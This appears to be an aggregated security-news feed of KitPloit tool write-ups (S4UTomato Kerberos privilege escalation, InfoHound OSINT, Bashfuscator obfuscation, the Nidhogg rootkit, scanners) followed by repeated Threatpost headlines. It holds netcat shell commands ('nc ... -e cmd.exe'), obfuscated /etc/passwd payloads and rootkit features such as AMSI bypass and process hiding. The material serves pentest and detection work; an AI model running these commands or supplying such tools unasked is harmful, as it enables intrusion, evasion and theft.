The creation of the spoofability table involved listing every relevant SPF and DMARC configuration, combining them, and then conducting SPF and DMARC information collection using an early version of Spoofy on a large number of US government domains. Testing if an SPF and DMARC combination was spoofable or not was done using the email security pentesting suite at emailspooftest using Microsoft 365. However, the initial testing was conducted using Protonmail and Gmail, but these services were found to utilize reverse lookup checks that affected the results, particularly for subdomain spoof testing. As a result, Microsoft 365 was used for the testing, as it offered greater control over the handling of mail.

After the initial testing using Microsoft 365, some combinations were retested using Protonmail and Gmail due to the differences in their handling of banners in emails. Protonmail and Gmail can place spoofed mail in the inbox with a banner or in spam without a banner, leading to some SPF and DMARC combinations being reported as "Mailbox Dependent" when using Spoofy. In contrast, Microsoft 365 places both conditions in spam. The testing and data collection process took several days to complete, after which a good master table was compiled and used as the basis for the Spoofy spoofability logic.

DISCLAIMER

This tool is only for testing and academic purposes and can only be used where strict consent has been given. Do not use it for illegal purposes! It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this tool and software.

CREDIT

Lead / Only programmer & spoofability logic comprehension upgrades & lookup resiliency system / fix (main issue with other tools) & multithreading & feature additions: Matt Keeley

DMARC, SPF, DNS insights & Spoofability table creation/confirmation/testing & application accuracy/quality assurance: calamity.email / eman-ekaf

Logo: cobracode

Tool was inspired by Bishop Fox's project called spoofcheck.



☐ β˜† βœ‡ KitPloit - PenTest Tools!

S4UTomato - Escalate Service Account To LocalSystem Via Kerberos

By: Zion3R β€” October 7th 2023 at 11:30


Escalate Service Account To LocalSystem via Kerberos.

Traditional Potatoes

Friends familiar with the "Potato" series of privilege escalation should know that it can elevate service account privileges to local system privileges. The early exploitation techniques of "Potato" are almost identical: leveraging certain features of COM interfaces, deceiving the NT AUTHORITY\SYSTEM account to connect and authenticate to an attacker-controlled RPC server. Then, through a series of API calls, an intermediary (NTLM Relay) attack is executed during this authentication process, resulting in the generation of an access token for the NT AUTHORITY\SYSTEM account on the local system. Finally, this token is stolen, and the CreatePr ocessWithToken() or CreateProcessAsUser() function is used to pass the token and create a new process to obtain SYSTEM privileges.


How About Kerberos

In any scenario where a machine is joined to a domain, you can leverage the aforementioned techniques for local privilege escalation as long as you can run code under the context of a Windows service account or a Microsoft virtual account, provided that the Active Directory hasn't been hardened to fully defend against such attacks.

In a Windows domain environment, SYSTEM, NT AUTHORITY\NETWORK SERVICE, and Microsoft virtual accounts are used for authentication by system computer accounts that are joined to the domain. Understanding this is crucial because in modern versions of Windows, most Windows services run by default using Microsoft virtual accounts. Notably, IIS and MSSQL use these virtual accounts, and I believe other applications might also employ them. Therefore, we can abuse the S4U extension to obtain the service ticket for the domain administrator account "Administrator" on the local machine. Then, with the help of James Forshaw (@tiraniddo)'s SCMUACBypass, we can use that ticket to create a system service and ga in SYSTEM privileges. This achieves the same effect as traditional methods used in the "Potato" family of privilege escalation techniques.

Before this, we need to obtain a TGT (Ticket Granting Ticket) for the local machine account. This is not easy because of the restrictions imposed by service account permissions, preventing us from obtaining the computer's Long-term Key and thus being unable to construct a KRB_AS_REQ request. To accomplish the aforementioned goal, I leveraged three techniques: Resource-based Constrained Delegation, Shadow Credentials, and Tgtdeleg. I built my project based on the Rubeus toolset.

How to Use and Examples

domain controller or LDAP server. -m, --ComputerName The new computer account to create. -p, --ComputerPassword The password of the new computer account to be created. -f, --Force Forcefully update the 'msDS-KeyCredentialLink' attribute of the computer object. -c, --Command Program to run. -v, --Verbose Output verbose debug information. --help Display this help screen. --version Display version information." dir="auto">
C:\Users\whoami\Desktop>S4UTomato.exe --help

S4UTomato 1.0.0-beta
Copyright (c) 2023

-d, --Domain Domain (FQDN) to authenticate to.
-s, --Server Host name of domain controller or LDAP server.
-m, --ComputerName The new computer account to create.
-p, --ComputerPassword The password of the new computer account to be created.
-f, --Force Forcefully update the 'msDS-KeyCredentialLink' attribute of the computer
object.
-c, --Command Program to run.
-v, --Verbose Output verbose debug information.
--help Display this help screen.
--version Display version information.

LEP via Resource-based Constrained Delegation

S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"

LEP via Shadow Credentials + S4U2self

S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f

LEP via Tgtdeleg + S4U2self

# First retrieve the TGT through Tgtdeleg
S4UTomato.exe tgtdeleg
# Then run SCMUACBypass to obtain SYSTEM privilege
S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"



☐ β˜† βœ‡ KitPloit - PenTest Tools!

InfoHound - An OSINT To Extract A Large Amount Of Data Given A Web Domain Name

By: Zion3R β€” August 16th 2023 at 20:58


During the reconnaissance phase, an attacker searches for any information about his target to create a profile that will later help him to identify possible ways to get in an organization. InfoHound performs passive analysis techniques (which do not interact directly with the target) using OSINT to extract a large amount of data given a web domain name. This tool will retrieve emails, people, files, subdomains, usernames and urls that will be later analyzed to extract even more valuable information.


Infohound architecture

Installation

git clone https://github.com/xampla/InfoHound.git
cd InfoHound/infohound
mv infohound_config.sample.py infohound_config.py
cd ..
docker-compose up -d

You must add API Keys inside infohound_config.py file

Default modules

InfoHound has 2 different types of modules, those which retreives data and those which analyse it to extract more relevant information.

 Retrievval modules

Name Description
Get Whois Info Get relevant information from Whois register.
Get DNS Records This task queries the DNS.
Get Subdomains This task uses Alienvault OTX API, CRT.sh, and HackerTarget as data sources to discover cached subdomains.
Get Subdomains From URLs Once some tasks have been performed, the URLs table will have a lot of entries. This task will check all the URLs to find new subdomains.
Get URLs It searches all URLs cached by Wayback Machine and saves them into the database. This will later help to discover other data entities like files or subdomains.
Get Files from URLs It loops through the URLs database table to find files and store them in the Files database table for later analysis. The files that will be retrieved are: doc, docx, ppt, pptx, pps, ppsx, xls, xlsx, odt, ods, odg, odp, sxw, sxc, sxi, pdf, wpd, svg, indd, rdp, ica, zip, rar
Find Email It looks for emails using queries to Google and Bing.
Find People from Emails Once some emails have been found, it can be useful to discover the person behind them. Also, it finds usernames from those people.
Find Emails From URLs Sometimes, the discovered URLs can contain sensitive information. This task retrieves all the emails from URL paths.
Execute Dorks It will execute the dorks defined in the dorks folder. Remember to group the dorks by categories (filename) to understand their objectives.
Find Emails From Dorks By default, InfoHound has some dorks defined to discover emails. This task will look for them in the results obtained from dork execution.

Analysis

Name Description
Check Subdomains Take-Over It performs some checks to determine if a subdomain can be taken over.
Check If Domain Can Be Spoofed It checks if a domain, from the emails InfoHound has discovered, can be spoofed. This could be used by attackers to impersonate a person and send emails as him/her.
Get Profiles From Usernames This task uses the discovered usernames from each person to find profiles from services or social networks where that username exists. This is performed using the Maigret tool. It is worth noting that although a profile with the same username is found, it does not necessarily mean it belongs to the person being analyzed.
Download All Files Once files have been stored in the Files database table, this task will download them in the "download_files" folder.
Get Metadata Using exiftool, this task will extract all the metadata from the downloaded files and save it to the database.
Get Emails From Metadata As some metadata can contain emails, this task will retrieve all of them and save them to the database.
Get Emails From Files Content Usually, emails can be included in corporate files, so this task will retrieve all the emails from the downloaded files' content.
Find Registered Services using Emails It is possible to find services or social networks where an email has been used to create an account. This task will check if an email InfoHound has discovered has an account in Twitter, Adobe, Facebook, Imgur, Mewe, Parler, Rumble, Snapchat, Wordpress, and/or Duolingo.
Check Breach This task checks Firefox Monitor service to see if an email has been found in a data breach. Although it is a free service, it has a limitation of 10 queries per day. If Leak-Lookup API key is set, it also checks it.

Custom modules

InfoHound lets you create custom modules, you just need to add your script inside infohoudn/tool/custom_modules. One custome module has been added as an example which uses Holehe tool to check if the emails previously are attached to an account on sites like Twitter, Instagram, Imgur and more than 120 others.

Inspired by



☐ β˜† βœ‡ KitPloit - PenTest Tools!

Bashfuscator - A Fully Configurable And Extendable Bash Obfuscation Framework

By: Zion3R β€” July 26th 2023 at 13:41

Documentation

What is Bashfuscator?

Bashfuscator is a modular and extendable Bash obfuscation framework written in Python 3. It provides numerous different ways of making Bash one-liners or scripts much more difficult to understand. It accomplishes this by generating convoluted, randomized Bash code that at runtime evaluates to the original input and executes it. Bashfuscator makes generating highly obfuscated Bash commands and scripts easy, both from the command line and as a Python library.

The purpose of this project is to give Red Team the ability to bypass static detections on a Linux system, and the knowledge and tools to write better Bash obfuscation techniques.

This framework was also developed with Blue Team in mind. With this framework, Blue Team can easily generate thousands of unique obfuscated scripts or commands to help create and test detections of Bash obfuscation.


Media/slides

This is a list of all the media (i.e. youtube videos) or links to slides about Bashfuscator.

Payload support

Though Bashfuscator does work on UNIX systems, many of the payloads it generates will not. This is because most UNIX systems use BSD style utilities, and Bashfuscator was built to work with GNU style utilities. In the future BSD payload support may be added, but for now payloads generated with Bashfuscator should work on GNU Linux systems with Bash 4.0 or newer.

Installation & Requirements

Bashfuscator requires Python 3.6+.

On a Debian-based distro, run this command to install dependencies:

sudo apt-get update && sudo apt-get install python3 python3-pip python3-argcomplete xclip

On a RHEL-based distro, run this command to install dependencies:

sudo dnf update && sudo dnf install python3 python3-pip python3-argcomplete xclip

Then, run these commands to clone and install Bashfuscator:

git clone https://github.com/Bashfuscator/Bashfuscator
cd Bashfuscator
python3 setup.py install --user

Only Debian and RHEL based distros are supported. Bashfuscator has been tested working on some UNIX systems, but is not supported on those systems.

Example Usage

For simple usage, just pass the command you want to obfuscate with -c, or the script you want to obfuscate with -f.

$ bashfuscator -c "cat /etc/passwd"
[+] Mutators used: Token/ForCode -> Command/Reverse
[+] Payload:

${@/l+Jau/+<b=k } p''"r"i""n$'t\u0066' %s "$( ${*%%Frf\[4?T2 } ${*##0\!j.G } "r"'e'v <<< ' "} ~@{$" ") } j@C`\7=-k#*{$ "} ,@{$" ; } ; } ,,*{$ "}] } ,*{$ "} f9deh`\>6/J-F{\,vy//@{$" niOrw$ } QhwV#@{$ [NMpHySZ{$" s% "f"'"'"'4700u\n9600u\r'"'"'$p { ; } ~*{$ "} 48T`\PJc}\#@{$" 1#31 "} ,@{$" } D$y?U%%*{$ 0#84 *$ } Lv:sjb/@{$ 2#05 } ~@{$ 2#4 }*!{$ } OGdx7=um/X@RA{\eA/*{$ 1001#2 } Scnw:i/@{$ } ~~*{$ 11#4 "} O#uG{\HB%@{$" 11#7 "} ^^@{$" 011#2 "} ~~@{$" 11#3 } L[\h3m/@{$ "} ~@{$" 11#2 } 6u1N.b!\b%%*{$ } YCMI##@{$ 31#5 "} ,@{$" 01#7 } (\}\;]\//*{$ } %#6j/?pg%m/*{$ 001#2 "} 6IW]\p*n%@{$" } ^^@{$ 21#7 } !\=jy#@{$ } tz}\k{\v1/?o:Sn@V/*{$ 11#5 ni niOrw rof ; "} ,,@{$" } MD`\!\]\P%%*{$ ) }@{$ a } ogt=y%*{$ "@$" /\ } {\nZ2^##*{$ \ *$ c }@{$ } h;|Yeen{\/.8oAl-RY//@{$ p *$ "}@{$" t } zB(\R//*{$ } mX=XAFz_/9QKu//*{$ e *$ s } ~~*{$ d } ,*{$ } 2tgh%X-/L=a_r#f{\//*{$ w } {\L8h=@*##@{$ "} W9Zw##@{$" (=NMpHySZ ($" la'"'"''"'"'"v"'"'"''"'"''"'"'541\'"'"'$ } &;@0#*{$ ' "${@}" "${@%%Ij\[N }" ${@~~ } )" ${!*} | $@ $'b\u0061'''sh ${*//J7\{=.QH }

[+] Payload size: 1232 characters

You can copy the obfuscated payload to your clipboard with --clip, or write it to a file with -o.

For more advanced usage, use the --choose-mutators flag, and specify exactly what obfuscation modules, or Mutators, you want to use in what order. Use also the -s argument to control the level of obfuscation used.

bashfuscator -c "cat /etc/passwd" --choose-mutators token/special_char_only compress/bzip2 string/file_glob -s 1
[+] Payload:

"${@#b }" "e"$'\166'"a""${@}"l "$( ${!@}m''$'k\144'''ir -p '/tmp/wW'${*~~} ;$'\x70'"${@/AZ }"rin""tf %s 'MxJDa0zkXG4CsclDKLmg9KW6vgcLDaMiJNkavKPNMxU0SJqlJfz5uqG4rOSimWr2A7L5pyqLPp5kGQZRdUE3xZNxAD4EN7HHDb44XmRpN2rHjdwxjotov9teuE8dAGxUAL'> '/tmp/wW/?
??'; prin${@#K. }tf %s 'wYg0iUjRoaGhoNMgYgAJNKSp+lMGkx6pgCGRhDDRGMNDTQA0ABoAAZDQIkhCkyPNIm1DTQeppjRDTTQ8D9oqA/1A9DjGhOu1W7/t4J4Tt4fE5+isX29eKzeMb8pJsPya93' > '/tmp/wW/???
' "${@,, }" &&${*}pri''\n${*,}tf %s 'RELKWCoKqqFP5VElVS5qmdRJQelAziQTBBM99bliyhIQN8VyrjiIrkd2LFQIrwLY2E9ZmiSYqay6JNmzeWAklyhFuph1mXQry8maqHmtSAKnNr17wQlIXl/ioKq4hMlx76' >'/tmp/wW/??

';"${@, }" $'\x70'rintf %s 'clDkczJBNsB1gAOsW2tAFoIhpWtL3K/n68vYs4Pt+tD6+2X4FILnaFw4xaWlbbaJBKjbGLouOj30tcP4cQ6vVTp0H697aeleLe4ebnG95jynuNZvbd1qiTBDwAPVLT tCLx' >'/tmp/wW/?

?' ; ${*/~} p""${@##vl }ri""n''tf %s ' pr'"'"'i'"'"'$'"'"'n\x74'"'"'f %s "$( prin${*//N/H }tf '"'"'QlpoOTFBWSZTWVyUng4AA3R/gH7z/+Bd/4AfwAAAD8AAAA9QA/7rm7NzircbE1wlCTBEamT1PKekxqYIA9TNQ' >'/tmp/wW/????' "${@%\` }" ;p''r""i$'\x6e'''$'\164'"f" %s 'puxuZjSK09iokSwsERuYmYxzhEOARc1UjcKZy3zsiCqG5AdYHeQACRPKqVPIqkxaQnt/RMmoLKqCiypS0FLaFtirJFqQtbJLUVFoB/qUmEWVKxVFBYjHZcIAYlVRbkgWjh' >'/tmp/wW/?


' ${*};"p"rin''$'\x74f' %s 'Gs02t3sw+yFjnPjcXLJSI5XTnNzNMjJnSm0ChZQfSiFbxj6xzTfngZC4YbPvaCS3jMXvYinGLUWVfmuXtJXX3dpu379mvDn917Pg7PaoCJm2877OGzLn0y3FtndddpDohg'>'/tmp/wW/?
?
' && "${@^^ }" pr""intf %s 'Q+kXS+VgQ9OklAYb+q+GYQQzi4xQDlAGRJBCQbaTSi1cpkRmZlhSkDjcknJUADEBeXJAIFIyESJmDEwQExXjV4+vkDaHY/iGnNFBTYfo7kDJIucUES5mATqrAJ/KIyv1UV'> '/tmp/wW/
???' ${*^}; ${!@} "${@%%I }"pri""n$'\x74f' %s '1w6xQDwURXSpvdUvYXckU4UJBclJ4OA'"'"' |""b${*/t/\( }a\se$'"'"'6\x34'"'"' -d| bu${*/\]%}nzi'"'"'p'"'"'${!@}2 -c)" $@ |$ {@//Y^ } \ba\s"h" ' > '/tmp/wW/
??
' ${@%b } ; pr"i"\ntf %s 'g8oZ91rJxesUWCIaWikkYQDim3Zw341vrli0kuGMuiZ2Q5IkkgyAAJFzgqiRWXergULhLMNTjchAQSXpRWQUgklCEQLxOyAMq71cGgKMzrWWKlrlllq1SXFNRqsRBZsKUE' > '/tmp/wW/??
?'"${@//Y }" ;$'c\141t' '/tmp/wW'/???? ${*/m};"${@,, }" $'\162'\m '/tmp/wW'/???? &&${@^ }rmd\ir '/tmp/wW'; ${@^^ } )" "${@}"

[+] Payload size: 2062 characters

For more detailed usage and examples, please refer to the documentation.

Extending the Framework

Adding new obfuscation methods to the framework is simple, as Bashfuscator was built to be a modular and extendable framework. Bashfuscator's backend does all the heavy lifting so you can focus on writing robust obfuscation methods (documentation on adding modules coming soon).

Authors and Contributers

  • Andrew LeFevre (capnspacehook): project lead and creator
  • Charity Barker (cpbarker): team member
  • Nathaniel Hatfield (343iChurch): writing the RotN Mutator
  • Elijah Barker (elijah-barker): writing the Hex Hash, Folder and File Glob Mutators
  • Sam Kreischer: the awesome logo

Credits

Disclaimer

Bashfuscator was created for educational purposes only, use only on computers or networks you have explicit permission to do so. The Bashfuscator team is not responsible for any illegal or malicious acts preformed with this project.



☐ β˜† βœ‡ KitPloit - PenTest Tools!

Sysreptor - Fully Customisable, Offensive Security Reporting Tool Designed For Pentesters, Red Teamers And Other Security-Related People Alike

By: Zion3R β€” July 14th 2023 at 12:30


Easy and customisable pentest report creator based on simple web technologies.

SysReptor is a fully customisable, offensive security reporting tool designed for pentesters, red teamers and other security-related people alike. You can create designs based on simple HTML and CSS, write your reports in user-friendly Markdown and convert them to PDF with just a single click, in the cloud or on-premise!


Your Benefits

Write in markdown
Design in HTML/VueJS
Render your report to PDF
Fully customizable
Self-hosted or Cloud
No need for Word

SysReptor Cloud

You just want to start reporting and save yourself all the effort of setting up, configuring and maintaining a dedicated server? Then SysReptor Cloud is the right choice for you! Get to know SysReptor on our Playground and if you like it, you can get your personal Cloud instance here:

οš€
Sign up here


SysReptor Self-Hosted

You prefer self-hosting? That's fine! You will need:

  • Ubuntu
  • Latest Docker (with docker-compose-plugin)

You can then install SysReptor with via script:

curl -s https://docs.sysreptor.com/install.sh | bash

After successful installation, access your application at http://localhost:8000/.

Get detailed installation instructions at Installation.





☐ β˜† βœ‡ KitPloit - PenTest Tools!

Scanner-and-Patcher - A Web Vulnerability Scanner And Patcher

By: Zion3R β€” June 21st 2023 at 12:30


This tools is very helpful for finding vulnerabilities present in the Web Applications.

  • A web application scanner explores a web application by crawling through its web pages and examines it for security vulnerabilities, which involves generation of malicious inputs and evaluation of application's responses.
    • These scanners are automated tools that scan web applications to look for security vulnerabilities. They test web applications for common security problems such as cross-site scripting (XSS), SQL injection, and cross-site request forgery (CSRF).
    • This scanner uses different tools like nmap, dnswalk, dnsrecon, dnsenum, dnsmap etc in order to scan ports, sites, hosts and network to find vulnerabilites like OpenSSL CCS Injection, Slowloris, Denial of Service, etc.

Tools Used

Serial No. Tool Name Serial No. Tool Name
1 whatweb 2 nmap
3 golismero 4 host
5 wget 6 uniscan
7 wafw00f 8 dirb
9 davtest 10 theharvester
11 xsser 12 fierce
13 dnswalk 14 dnsrecon
15 dnsenum 16 dnsmap
17 dmitry 18 nikto
19 whois 20 lbd
21 wapiti 22 devtest
23 sslyze

Working

Phase 1

  • User has to write:- "python3 web_scan.py (https or http) ://example.com"
  • At first program will note initial time of running, then it will make url with "www.example.com".
  • After this step system will check the internet connection using ping.
  • Functionalities:-
    • To navigate to helper menu write this command:- --help for update --update
    • If user want to skip current scan/test:- CTRL+C
    • To quit the scanner use:- CTRL+Z
    • The program will tell scanning time taken by the tool for a specific test.

Phase 2

  • From here the main function of scanner will start:
  • The scanner will automatically select any tool to start scanning.
  • Scanners that will be used and filename rotation (default: enabled (1)
  • Command that is used to initiate the tool (with parameters and extra params) already given in code
  • After founding vulnerability in web application scanner will classify vulnerability in specific format:-
    • [Responses + Severity (c - critical | h - high | m - medium | l - low | i - informational) + Reference for Vulnerability Definition and Remediation]
    • Here c or critical defines most vulnerability wheres l or low is for least vulnerable system

Definitions:-

  • Critical:- Vulnerabilities that score in the critical range usually have most of the following characteristics: Exploitation of the vulnerability likely results in root-level compromise of servers or infrastructure devices.Exploitation is usually straightforward, in the sense that the attacker does not need any special authentication credentials or knowledge about individual victims, and does not need to persuade a target user, for example via social engineering, into performing any special functions.

  • High:- An attacker can fully compromise the confidentiality, integrity or availability, of a target system without specialized access, user interaction or circumstances that are beyond the attacker’s control. Very likely to allow lateral movement and escalation of attack to other systems on the internal network of the vulnerable application. The vulnerability is difficult to exploit. Exploitation could result in elevated privileges. Exploitation could result in a significant data loss or downtime.

  • Medium:- An attacker can partially compromise the confidentiality, integrity, or availability of a target system. Specialized access, user interaction, or circumstances that are beyond the attacker’s control may be required for an attack to succeed. Very likely to be used in conjunction with other vulnerabilities to escalate an attack.Vulnerabilities that require the attacker to manipulate individual victims via social engineering tactics. Denial of service vulnerabilities that are difficult to set up. Exploits that require an attacker to reside on the same local network as the victim. Vulnerabilities where exploitation provides only very limited access. Vulnerabilities that require user privileges for successful exploitation.

  • Low:- An attacker has limited scope to compromise the confidentiality, integrity, or availability of a target system. Specialized access, user interaction, or circumstances that are beyond the attacker’s control is required for an attack to succeed. Needs to be used in conjunction with other vulnerabilities to escalate an attack.

  • Info:- An attacker can obtain information about the web site. This is not necessarily a vulnerability, but any information which an attacker obtains might be used to more accurately craft an attack at a later date. Recommended to restrict as far as possible any information disclosure.

  • CVSS V3 SCORE RANGE SEVERITY IN ADVISORY
    0.1 - 3.9 Low
    4.0 - 6.9 Medium
    7.0 - 8.9 High
    9.0 - 10.0 Critical

Vulnerabilities

  • After this scanner will show results which inclues:
    • Response time
    • Total time for scanning
    • Class of vulnerability

Remediation

  • Now, Scanner will tell about harmful effects of that specific type vulnerabilility.
  • Scanner tell about sources to know more about the vulnerabilities. (websites).
  • After this step, scanner suggests some remdies to overcome the vulnerabilites.

Phase 3

  • Scanner will Generate a proper report including
    • Total number of vulnerabilities scanned
    • Total number of vulnerabilities skipped
    • Total number of vulnerabilities detected
    • Time taken for total scan
    • Details about each and every vulnerabilites.
  • Writing all scan files output into SA-Debug-ScanLog for debugging purposes under the same directory
  • For Debugging Purposes, You can view the complete output generated by all the tools named SA-Debug-ScanLog.

Use

Use Program as python3 web_scan.py (https or http) ://example.com
--help
--update
Serial No. Vulnerabilities to Scan Serial No. Vulnerabilities to Scan
1 IPv6 2 Wordpress
3 SiteMap/Robot.txt 4 Firewall
5 Slowloris Denial of Service 6 HEARTBLEED
7 POODLE 8 OpenSSL CCS Injection
9 FREAK 10 Firewall
11 LOGJAM 12 FTP Service
13 STUXNET 14 Telnet Service
15 LOG4j 16 Stress Tests
17 WebDAV 18 LFI, RFI or RCE.
19 XSS, SQLi, BSQL 20 XSS Header not present
21 Shellshock Bug 22 Leaks Internal IP
23 HTTP PUT DEL Methods 24 MS10-070
25 Outdated 26 CGI Directories
27 Interesting Files 28 Injectable Paths
29 Subdomains 30 MS-SQL DB Service
31 ORACLE DB Service 32 MySQL DB Service
33 RDP Server over UDP and TCP 34 SNMP Service
35 Elmah 36 SMB Ports over TCP and UDP
37 IIS WebDAV 38 X-XSS Protection

Installation

git clone https://github.com/Malwareman007/Scanner-and-Patcher.git
cd Scanner-and-Patcher/setup
python3 -m pip install --no-cache-dir -r requirements.txt

Screenshots of Scanner

Contributions

Template contributions , Feature Requests and Bug Reports are more than welcome.

Authors

GitHub: @Malwareman007
GitHub: @Riya73
GitHub:@nano-bot01

Contributing

Contributions, issues and feature requests are welcome!
Feel free to check issues page.



☐ β˜† βœ‡ KitPloit - PenTest Tools!

Nidhogg - All-In-One Simple To Use Rootkit For Red Teams

By: Zion3R β€” May 31st 2023 at 12:30


Nidhogg is a multi-functional rootkit for red teams. The goal of Nidhogg is to provide an all-in-one and easy-to-use rootkit with multiple helpful functionalities for red team engagements that can be integrated with your C2 framework via a single header file with simple usage, you can see an example here.

Nidhogg can work on any version of x64 Windows 10 and Windows 11.

This repository contains a kernel driver with a C++ header to communicate with it.


Current Features

  • Process hiding and unhiding
  • Process elevation
  • Process protection (anti-kill and dumping)
  • Bypass pe-sieve
  • Thread hiding
  • Thread protection (anti-kill)
  • File protection (anti-deletion and overwriting)
  • File hiding
  • Registry keys and values protection (anti-deletion and overwriting)
  • Registry keys and values hiding
  • Querying currently protected processes, threads, files, registry keys and values
  • Arbitrary kernel R/W
  • Function patching
  • Built-in AMSI bypass
  • Built-in ETW patch
  • Process signature (PP/PPL) modification
  • Can be reflectively loaded
  • Shellcode Injection
    • APC
    • NtCreateThreadEx
  • DLL Injection
    • APC
    • NtCreateThreadEx
  • Querying kernel callbacks
    • ObCallbacks
    • Process and thread creation routines
    • Image loading routines
    • Registry callbacks
  • Removing and restoring kernel callbacks
  • ETWTI tampering

Reflective loading

Since version v0.3, Nidhogg can be reflectively loaded with kdmapper but because PatchGuard will be automatically triggered if the driver registers callbacks, Nidhogg will not register any callback. Meaning, that if you are loading the driver reflectively these features will be disabled by default:

  • Process protection
  • Thread protection
  • Registry operations

PatchGuard triggering features

These are the features known to me that will trigger PatchGuard, you can still use them at your own risk.

  • Process hiding
  • File protecting

Basic Usage

It has a very simple usage, just include the header and get started!

#include "Nidhogg.hpp"

int main() {
HANDLE hNidhogg = CreateFile(DRIVER_NAME, GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr);
// ...
DWORD result = Nidhogg::ProcessUtils::NidhoggProcessProtect(pids);
// ...
}

Setup

Building the client

To compile the client, you will need to install CMake and Visual Studio 2022 installed and then just run:

cd <NIDHOGG PROJECT DIRECTORY>\Example
mkdir build
cd build
cmake ..
cmake --build .

Building the driver

To compile the project, you will need the following tools:

Clone the repository and build the driver.

Driver Testing

To test it in your testing environment run those commands with elevated cmd:

bcdedit /set testsigning on

After rebooting, create a service and run the driver:

sc create nidhogg type= kernel binPath= C:\Path\To\Driver\Nidhogg.sys
sc start nidhogg

Debugging

To debug the driver in your testing environment run this command with elevated cmd and reboot your computer:

bcdedit /debug on

After the reboot, you can see the debugging messages in tools such as DebugView.

Resources

Contributions

Thanks a lot to those people that contributed to this project:



☐ β˜† βœ‡ The first stop for security news | Threatpost

Securing Your Move to the Hybrid Cloud

By: Infosec Contributor β€” August 1st 2022 at 13:29
Infosec expert Rani Osnat lays out security challenges and offers hope for organizations migrating their IT stack to the private and public cloud environments.
☐ β˜† βœ‡ Threatpost | The first stop for security news

Securing Your Move to the Hybrid Cloud

By: Infosec Contributor β€” August 1st 2022 at 13:29
Infosec expert Rani Osnat lays out security challenges and offers hope for organizations migrating their IT stack to the private and public cloud environments.
☐ β˜† βœ‡ The first stop for security news | Threatpost

Why Physical Security Maintenance Should Never Be an Afterthought

By: Infosec Contributor β€” July 25th 2022 at 11:00
SecuriThings' CEO Roy Dagan tackles the sometimes overlooked security step of physical security maintenance and breaks down why it is important.
☐ β˜† βœ‡ Threatpost | The first stop for security news

Why Physical Security Maintenance Should Never Be an Afterthought

By: Infosec Contributor β€” July 25th 2022 at 11:00
SecuriThings' CEO Roy Dagan tackles the sometimes overlooked security step of physical security maintenance and breaks down why it is important.
☐ β˜† βœ‡ Threatpost | The first stop for security news

Conti’s Reign of Chaos: Costa Rica in the Crosshairs

By: Aamir Lakhani β€” July 20th 2022 at 12:35
Aamir Lakhani, with FortiGuard Labs, answers the question; Why is the Conti ransomware gang targeting people and businesses in Costa Rica?
☐ β˜† βœ‡ The first stop for security news | Threatpost

Conti’s Reign of Chaos: Costa Rica in the Crosshairs

By: Aamir Lakhani β€” July 20th 2022 at 12:35
Aamir Lakhani, with FortiGuard Labs, answers the question; Why is the Conti ransomware gang targeting people and businesses in Costa Rica?
☐ β˜† βœ‡ Threatpost | The first stop for security news

How War Impacts Cyber Insurance

By: Infosec Contributor β€” July 12th 2022 at 12:20
Chris Hallenbeck, CISO for the Americas at Tanium, discusses the impact of geopolitical conflict on the cybersecurity insurance market.
☐ β˜† βœ‡ The first stop for security news | Threatpost

How War Impacts Cyber Insurance

By: Infosec Contributor β€” July 12th 2022 at 12:20
Chris Hallenbeck, CISO for the Americas at Tanium, discusses the impact of geopolitical conflict on the cybersecurity insurance market.
☐ β˜† βœ‡ The first stop for security news | Threatpost

Rethinking Vulnerability Management in a Heightened Threat Landscape

By: Infosec Contributor β€” July 11th 2022 at 20:26
Find out why a vital component of vulnerability management needs to be the capacity to prioritize from Mariano Nunez, CEO of Onapsis and Threatpost Infosec Insiders columnist.
☐ β˜† βœ‡ Threatpost | The first stop for security news

Rethinking Vulnerability Management in a Heightened Threat Landscape

By: Infosec Contributor β€” July 11th 2022 at 20:26
Find out why a vital component of vulnerability management needs to be the capacity to prioritize from Mariano Nunez, CEO of Onapsis and Threatpost Infosec Insiders columnist.
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